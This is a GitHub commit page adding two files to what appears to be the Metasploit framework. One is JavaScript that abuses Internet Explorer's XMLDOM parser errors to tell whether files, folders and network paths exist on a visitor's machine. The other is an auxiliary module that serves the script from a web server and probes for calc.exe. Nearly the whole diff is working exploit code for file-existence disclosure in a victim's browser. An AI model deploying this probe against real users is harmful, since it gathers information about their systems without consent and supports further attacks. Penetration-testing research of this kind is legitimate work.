Skip to content

Commit b0b1777

Browse files
committed
First working version
1 parent 955c055 commit b0b1777

File tree

2 files changed

+148
-0
lines changed

2 files changed

+148
-0
lines changed

data/js/detect/ie_addons.js

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,82 @@
11
var ie_addons_detect = { };
22

3+
var XMLDOMRESULTS = {
4+
UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""},
5+
BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""},
6+
FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""},
7+
FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""},
8+
NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""},
9+
ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""},
10+
MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""},
11+
DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""},
12+
VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""},
13+
INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""}
14+
};
15+
16+
ie_addons_detect.validateXML = function (txt) {
17+
var result = XMLDOMRESULTS.UNKNOWN;
18+
if (window.ActiveXObject) {
19+
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
20+
xmlDoc.async = true;
21+
try {
22+
xmlDoc.loadXML(txt);
23+
if (xmlDoc.parseError.errorCode != 0) {
24+
var err;
25+
err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
26+
err += "Error Reason: " + xmlDoc.parseError.reason;
27+
err += "Error Line: " + xmlDoc.parseError.line;
28+
var errReason = xmlDoc.parseError.reason.toLowerCase();
29+
if (errReason.search('access is denied') >= 0) {
30+
result = XMLDOMRESULTS.ALIVE;
31+
} else if(errReason.search('the system cannot locate the object') >= 0 || errReason.search('the system cannot find the file') >= 0 || errReason.search('the network path was not found') >= 0) {
32+
result = XMLDOMRESULTS.NOTFOUND;
33+
} else if(errReason!=''){
34+
result = XMLDOMRESULTS.FILEFOUND;
35+
} else{
36+
result = XMLDOMRESULTS.UNKNOWN; // No Error? Unknown!
37+
};
38+
} else {
39+
result = XMLDOMRESULTS.FILEFOUND;
40+
}
41+
} catch (e) {
42+
result = XMLDOMRESULTS.FOLDERFOUND;
43+
}
44+
} else {
45+
result = XMLDOMRESULTS.BADBROWSER;
46+
}
47+
result.data = "";
48+
return result;
49+
};
50+
51+
52+
ie_addons_detect.checkFiles = function (files) {
53+
var foundFiles = new Array();
54+
// the first one is for all drives, the others are for the C drive only!
55+
var preMagics = ["res://","\\\\localhost\\\\", "file:\\\\localhost\\", "file:\\"];
56+
// or any other irrelevant ADS! - we do not need this when we use Res://
57+
var postMagics = ["::$index_allocation"];
58+
59+
var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">';
60+
61+
for (var i = 0; i < files.length; i++) {
62+
var filename = files[i];
63+
if (filename != '') {
64+
filename = preMagics[0] + filename; // postMagics can be used too!
65+
var result = ie_addons_detect.validateXML(templateString.replace("$target$", filename));
66+
if (result == XMLDOMRESULTS.FOLDERFOUND || result == XMLDOMRESULTS.ALIVE) result = XMLDOMRESULTS.UNKNOWN;
67+
result.data = filename;
68+
if (result.message.search(/file was found/i) > -1) {
69+
var trimmedFilename = result.data;
70+
// Clean up filenames
71+
for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); }
72+
for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); }
73+
foundFiles.push(trimmedFilename);
74+
}
75+
}
76+
}
77+
return foundFiles;
78+
};
79+
380
/**
481
* Returns true if this ActiveX is available, otherwise false.
582
* Grabbed this directly from browser_autopwn.rb
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => "Microsoft Internet Explorer XMLDOM File Disclosure",
15+
'Description' => %q{
16+
This module will use an XMLDOM object to leak a remote user's filename
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' => [ 'sinn3r' ],
20+
'References' =>
21+
[
22+
[ 'URL', 'http://metasploit.com' ]
23+
],
24+
'Platform' => 'win',
25+
'Targets' =>
26+
[
27+
[ 'Generic', {} ],
28+
],
29+
'DisclosureDate' => "Apr 1 2013",
30+
'DefaultTarget' => 0))
31+
end
32+
33+
def js
34+
%Q|
35+
#{js_ie_addons_detect}
36+
37+
window.onload = function() {
38+
var files = ['c:\\\\windows\\\\system32\\\\calc.exe'];
39+
var foundFiles = ie_addons_detect.checkFiles(files);
40+
if (foundFiles.length > 0) {
41+
alert(foundFiles);
42+
} else {
43+
alert("nothing found");
44+
}
45+
};
46+
|
47+
end
48+
49+
def html
50+
%Q|
51+
<html>
52+
<head>
53+
</head>
54+
<body>
55+
<script>
56+
#{js}
57+
</script>
58+
</body>
59+
</html>
60+
|
61+
end
62+
63+
def run
64+
exploit
65+
end
66+
67+
def on_request_uri(cli, request)
68+
send_response(cli, html)
69+
end
70+
71+
end

0 commit comments

Comments
 (0)